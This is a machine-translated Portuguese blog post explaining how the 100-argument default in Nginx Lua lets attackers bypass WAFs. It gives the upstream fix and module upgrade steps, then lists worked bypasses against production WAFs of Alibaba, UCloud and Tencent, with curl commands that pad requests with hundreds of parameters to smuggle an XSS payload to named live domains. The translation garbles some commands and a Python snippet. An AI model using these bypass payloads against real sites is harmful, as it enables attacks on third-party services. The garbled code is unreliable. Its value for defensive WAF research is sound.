|
|
Publicado em 27/04/2018 09:23:29
|
|
|
|

Quando o ginx Lua obtém parâmetros, os primeiros 100 valores de parâmetros são obtidos por padrão, e o restante é descartado. Portanto, WAFs que usam Nginx Lua serão contornados por padrão. No dia 20 de abril de 18, alguém no passageiro de segurança já havia divulgado esse detalhe, então também publiquei este artigo 233.
Princípio
A descrição oficial é a seguinte
Note que um máximo de 100 argumentos de solicitação são analisados por padrão (incluindo aqueles com o mesmo nome) e que argumentos adicionais de solicitação são silenciosamente descartados para evitar possíveis Ataques de negação de serviço. Até 100 parâmetros de requisição (incluindo aqueles com o mesmo nome) podem ser analisados por padrão, e parâmetros adicionais de requisição são automaticamente eliminados para evitar possíveis ataques de negação de serviço.
Busca 100, mais ou menos o método a seguir, tem o mesmo problema. ngx.req.get_uri_args Obtenha os parâmetros de solicitação para get ngx.req.get_post_args Obtenha os parâmetros de solicitação para a postagem ngx.req.get_headers Obtenha o cabeçalho do pedido ngx.decode_args Decodificar a URL dos parâmetros ngx.resp.get_headers Obtenha o cabeçalho de resposta No código-fonte do módulo lua-nginx, podemos ver que o código-fonte define o parâmetro máximo padrão de requisição e o cabeçalho para 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
No entanto, o oficial fornece um método para modificar o valor padrão, como ngx.req.get_uri_args (200), para obter os primeiros 200 parâmetros de requisição.
Teste
Se o parâmetro de requisição for 101, o último parâmetro de requisição não pode ser obtido.
Rotela -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Se você reduzir um parâmetro de requisição, pode obter o último parâmetro de requisição quando os parâmetros de requisição estiverem exatamente 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 R: ZBG Te peguei, zbg
Note que o padrão é realmente 100 parâmetros de requisição, e os parâmetros de requisição após 100 parâmetros serão descartados.
Há uma coisa estranha que, no conteúdo de retorno acima, no meio da posição aproximada, o parâmetro final zbg já está gerado. Meu palpite é que a saída não está em ordem, mas a ordem em que a análise sintática é feita segue a ordem em que os parâmetros são submetidos, porque quando o valor do 101º parâmetro é zbg, o valor não pode ser obtido.
Anexado está o script em python que gera os parâmetros:
# Autor: ZBG # Mail:zbg@zbg.org # Data: 2018-04-03
a = '' para i no intervalo(200): A = A + 'A{0}={1}&'.Format(i+1, I+1) Imprimir A reparar Claro, não é recomendado modificar o valor MAX do parâmetro no código-fonte. Porque, não importa o quão grande seja o valor que você defina, ele pode ser ignorado. Recomenda-se ajustá-lo pelos parâmetros do método. Se você conseguir o comprimento do parâmetro de solicitação e usar um método como ngx.req.get_uri_args (lenth), isso não seria suficiente? Lendo a documentação, percebi que o número de parâmetros solicitados não foi possível. No entanto, se você definir a lente em 0, pode obter todos os parâmetros solicitados.
Esse argumento pode ser definido como zero para remover o limite e processar todos os argumentos de solicitação recebidos. args local = ngx.req.get_uri_args(0)
No entanto, é fortemente desencorajado deixá-lo em 0 para evitar possíveis ataques de negação de serviço.
Remover o limite de max_args é fortemente desaconselhado.
Na verdade, eu estava me perguntando por que definir 0 levaria a um possível ataque de negação de serviço, e a solicitação iria para o nginx de qualquer forma, não importando quantos parâmetros houvesse no get ou post.
Levantei um problema ao oficial, e o autor disse que ngx.req.get_uri_args (0) aumentará o uso de CPU e memória do servidor. Depois, testei 200 parâmetros e usei Nginx+php para obter o parâmetro 200, o que significa que Nginx não limita o número de parâmetros solicitados por padrão. Então o problema pode estar no próprio Nginx Lua,Quando o Nginx Lua usa ngx.req.get_uri_args(0) para obter todos os parâmetros e os iterar, uma vez que muitos parâmetros são solicitados, consome mais CPU e memória, e eventualmente até leva a uma negação de serviço。
Em 03/04/2018, o Bypass007 levantou oficialmente um PROBLEMA sobre essa correção de bug e finalmente adicionou oficialmente um novo recurso baseado nesse PROBLEMA em 21-04-2018. O endereço do registro de commit dessa função: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
A descrição da função é a seguinte: Em versões após v0.10.13 (incluindo v0.10.13), quando o número limite de solicitações é ultrapassado, o segundo valor de retorno é a string truncada. Desde a v0.10.13, quando o limite é ultrapassado, ele retorna um segundo valor que é a string "truncada". No entanto, o argumento opcional da função max_args pode ser usado para sobrepor esse limite: args local, err = ngx.req.get_uri_args(10) se err == "truncado" então -- pode-se escolher ignorar ou rejeitar o pedido atual aqui fim
Então, a solução final veio.
Atualize o lua-nginx-module para v0.10.13 ou posterior
Depois, limite o número total de parâmetros, quanto ao quanto o número total é limitado, pessoalmente acho que 100 é suficiente
O OpenResty atualiza o módulo lua-nginx
Não encontrei nenhuma informação sobre o módulo de atualização do OpenResty, então descobri como atualizar o módulo lua-nginx sozinho.
Os passos são os seguintes:
Baixe a versão correspondente do módulo lua-nginx O que https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 desempacotar tar -zxvf v0.10.13 Exclua a versão anterior do módulo lua-nginx RM -RF OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.5 Copie o novo módulo lua-nginx MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/bundle/ngx_lua-0.10.13 Para compilação, consulte os parâmetros de compilação do VeryNginx
Desvio de caso
Devo ser esclarecido que os seguintes WAFs não tenho certeza se devo usar o Nginx Lua, mas eles podem ser ignorados pelo número total de parâmetros.
Ali WAF
Esse WAF é um WAF usado internamente pela Alibaba, ou seja, o WAF usado por nomes de domínio como *.taobao.com, e não foi testado para o WAF em nuvem vendido pela Alibaba Cloud. Primeiro, solicite um POST XSS Payload para interceptá-lo. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Por meio do Fuzz, foi constatado que, quando o número de parâmetros é aumentado para 478, com o XSS Payload, ele não é mais interceptado, e o site pode ser acessado normalmente. Roteio -v -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a80=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
O WAF testado é um WAF vendido pela UCloud. Quando o parâmetro de solicitação for aumentado para 138, ele não será mais bloqueado e o site será acessado normalmente. Curva -D 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a80=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alerta(1234)' taqu.cn
Tencent WAF
Esse WAF é um WAF usado internamente pela Tencent, ou seja, o WAF usado por nomes de domínio como *.qq.com, e não foi testado para o WAF em nuvem vendido pela Tencent Cloud. Quando o parâmetro de solicitação aumenta para 4000, ele não será mais bloqueado e o site será acessado normalmente. Testes aleatórios dos seguintes domínios são afetados. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
resumo
Essa pergunta é muito simples, e você pode encontrá-la lendo o documento com atenção. Mas por que eu não descobri? Acho que ainda é pensar pouco. Referência
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Anterior:Aprenda Photoshop do zero, 18 lições do iniciante ao deusPróximo:Pontos fortes e fracos de Lua e Luajit
|